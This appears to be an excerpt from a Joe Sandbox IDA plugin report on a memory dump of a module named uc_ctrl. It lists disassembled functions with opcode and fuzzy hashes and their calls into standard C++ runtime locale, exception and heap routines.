Opcode ID: 005b6add56f7748af46ec940b0786f70b7823ca2cdebff427fd39c5fee37d95b
Instruction ID: 799b2c9bba389a10149cd29cbff8a75885dd60cd242daaab435ba591645daffa
Opcode Fuzzy Hash: 005b6add56f7748af46ec940b0786f70b7823ca2cdebff427fd39c5fee37d95b
Instruction Fuzzy Hash: CCF0E2B99083078BCB00DFA8C84169DBB70BF14708F52842EE255AB248DBF49A40CB82

Function 6D1A47C0 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1A47C7
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000000), ref: 6D1A47F8

Part of subcall function 6D1A4270: _CxxThrowException.VCRUNTIME140(00000000,00000000), ref: 6D1A4309

new.LIBCMT ref: 6D1A47FF

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

?_Init@locale@std@@CAPAV_Locimp@12@_N@Z.MSVCP140(00000001,00000008,00000000,00000000,?,?,?,?,?,00000000), ref: 6D1A480B

Part of subcall function 6D1AB490: __EH_prolog3.LIBCMT ref: 6D1AB497
Part of subcall function 6D1AB490: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6D1AB457,00000000,6D1A3249,00000048), ref: 6D1AB4A1
Part of subcall function 6D1AB490: ?_New_Locimp@_Locimp@locale@std@@CAPAV123@_N@Z.MSVCP140(00000000), ref: 6D1AB4B5
Part of subcall function 6D1AB490: std::locale::_Setgloballocale.LIBCPMT(00000000,00000000), ref: 6D1AB4BD
Part of subcall function 6D1AB490: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(?,?,?,?,6D195578), ref: 6D1AB4D3
Part of subcall function 6D1AB490: ??1_Lockit@std@@QAE@XZ.MSVCP140 ref: 6D1AB511

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_??4?$_?clear@ios_base@std@@D@std@@ExceptionInit@locale@std@@Locimp@12@_Locimp@_Locimp@locale@std@@Lockit@std@@New_SetgloballocaleThrowV01@V123@_Yarn@_lock_localesmallocstd::locale::_
String ID:
API String ID: 2913051017-0
Opcode ID: c26eb38e3c058d51237239402f7d2e121d34bd2ba8efef18883a7357bbac8c21
Instruction ID: b4f77af348f192ffb0e92cfbd4621b8bb4500393f214da04e27985e752e8ff48
Opcode Fuzzy Hash: c26eb38e3c058d51237239402f7d2e121d34bd2ba8efef18883a7357bbac8c21
Instruction Fuzzy Hash: C9F0B7B0904B06ABD704DF6AD6C0605FAB0BB18704F91822ED10C97E44CBB9A560CBD5

Function 6D1B2FC0 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1B2FC7
new.LIBCMT ref: 6D1B2FDE

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6D1B963A,00000001,?,00000000,?,?,?,?,?,00000000), ref: 6D1B2FF8

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6D1B963A,00000001,?,00000000,?,?,?,?,?,00000000), ref: 6D1B300B

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: 3cf86ac90106944f9ff1bd2b0b730a9cb533d33a8710779a362cb52da87a479d
Instruction ID: 80ca48558cc0ab65b4b6d6c3ff59d511dd410dd9f2543de97de70215dffeeaa6
Opcode Fuzzy Hash: 3cf86ac90106944f9ff1bd2b0b730a9cb533d33a8710779a362cb52da87a479d
Instruction Fuzzy Hash: 34F0E2B98043028BCB00DFE4C44169DB770BF14704F12482EE285AB248DBF45A40CB82

Function 6D1A8B30 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1A8B37
new.LIBCMT ref: 6D1A8B4E

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6D1AB0A7,?,?,00000000,?,?,?,00000004), ref: 6D1A8B68

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6D1AB0A7,?,?,00000000,?,?,?,00000004), ref: 6D1A8B7B

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: 451697c10091c17343ab23f6d9045c5d211c54d057318a76cccb7a206023ebf2
Instruction ID: c839ebdceb4a69a6409c96f9667fd8f10c2ceadae8af4ec702f1fe199e52077d
Opcode Fuzzy Hash: 451697c10091c17343ab23f6d9045c5d211c54d057318a76cccb7a206023ebf2
Instruction Fuzzy Hash: 33F082B99083168FCB01DFA8C55069DB770FF24754F55442EE645AB248DBF49A41CB82

Function 6D1B0B70 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1B0B77
new.LIBCMT ref: 6D1B0B8E

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6D1B9CD5,?,?,00000000,?,?,?,00000004), ref: 6D1B0BA8

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6D1B9CD5,?,?,00000000,?,?,?,00000004), ref: 6D1B0BBB

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: 5efb1e95400d09e569d17375017120ad380c16a2a647c30f61db8814326f081a
Instruction ID: 84ca89eed5fe392a7e228b38a77d59aee7888e1da62a300eec2d6cbfd8d8194e
Opcode Fuzzy Hash: 5efb1e95400d09e569d17375017120ad380c16a2a647c30f61db8814326f081a
Instruction Fuzzy Hash: B3F082B99083168BCB10DFA8C65069DB770BF24714F51442EE645AB288DBF89A40CB42

Function 6D1AC6F0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1AC6F7
?_Xbad_function_call@std@@YAXXZ.MSVCP140(00000000), ref: 6D1AC707

Part of subcall function 6D1BE060: _CxxThrowException.VCRUNTIME140(?,6D1D3D20), ref: 6D1BE076

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ExceptionH_prolog3ThrowXbad_function_call@std@@
String ID:
API String ID: 3336945522-0
Opcode ID: b28fabf2c9abf9991e7b47e51e6af548c0ca81ff53fe2c69300b3987510f3ef4
Instruction ID: ed8c4094e0a4e31bee33a313761fe2f2937a75c056d206b23d4c0e3b9d7ba23f
Opcode Fuzzy Hash: b28fabf2c9abf9991e7b47e51e6af548c0ca81ff53fe2c69300b3987510f3ef4
Instruction Fuzzy Hash: 95F08C3A3002148BCB01DF74C010B6D3377BFD0218F1B4448E965AB388CBB8EE119B92

Function 6D1B24B2 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1B24B9
new.LIBCMT ref: 6D1B24CD

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6D1B9939,00000000), ref: 6D1B24E7

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6D1B9939,00000000), ref: 6D1B24FB

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: d56b7c14556151f82b1971a97eb9df603f437ee1382b7923864a07293863299a
Instruction ID: 9d734b860fd57476a280149c3cdeb00a5f56751cd55a15e4bedf45d16edb9de4
Opcode Fuzzy Hash: d56b7c14556151f82b1971a97eb9df603f437ee1382b7923864a07293863299a
Instruction Fuzzy Hash: 15F0A7359083158BEB04DF90C5117EDB3B0BF14719F514419D145AB289EFFC1A44C742

Function 6D1B269B Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1B26A2
new.LIBCMT ref: 6D1B26B6

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6D1B98A0,00000000), ref: 6D1B26D0

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6D1B98A0,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D1B26E4

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: 4e26ab2084a3dca0af201fa20579311d18dccedc3ca086f971c44e762dcb23e2
Instruction ID: e6ee7ccfa342e2fdca0ccd0d24e08ef65fd3e102b177dbae1113541a29453f93
Opcode Fuzzy Hash: 4e26ab2084a3dca0af201fa20579311d18dccedc3ca086f971c44e762dcb23e2
Instruction Fuzzy Hash: 45F0A7359083118FDB10DF90C5117ADB3B0BF14719F114419D141AB289DFFC1A44C782

Function 6D1B26F2 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1B26F9
new.LIBCMT ref: 6D1B270D

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6D1B9807,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1B2727

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6D1B9807,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1B273B

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: 6df949fe2aab1934a584c6fdb99a6943a804f69446d86a484c9319c59fa4f4e5
Instruction ID: 2b336389ff60cbafd0d86097294bd38986b848f48cc3fefe19ee890b83baa9c2
Opcode Fuzzy Hash: 6df949fe2aab1934a584c6fdb99a6943a804f69446d86a484c9319c59fa4f4e5
Instruction Fuzzy Hash: AFF0A0399083168FEB14DFA0C5157ADB3B0BF24729F114419D245AB289EFFC5A44C746

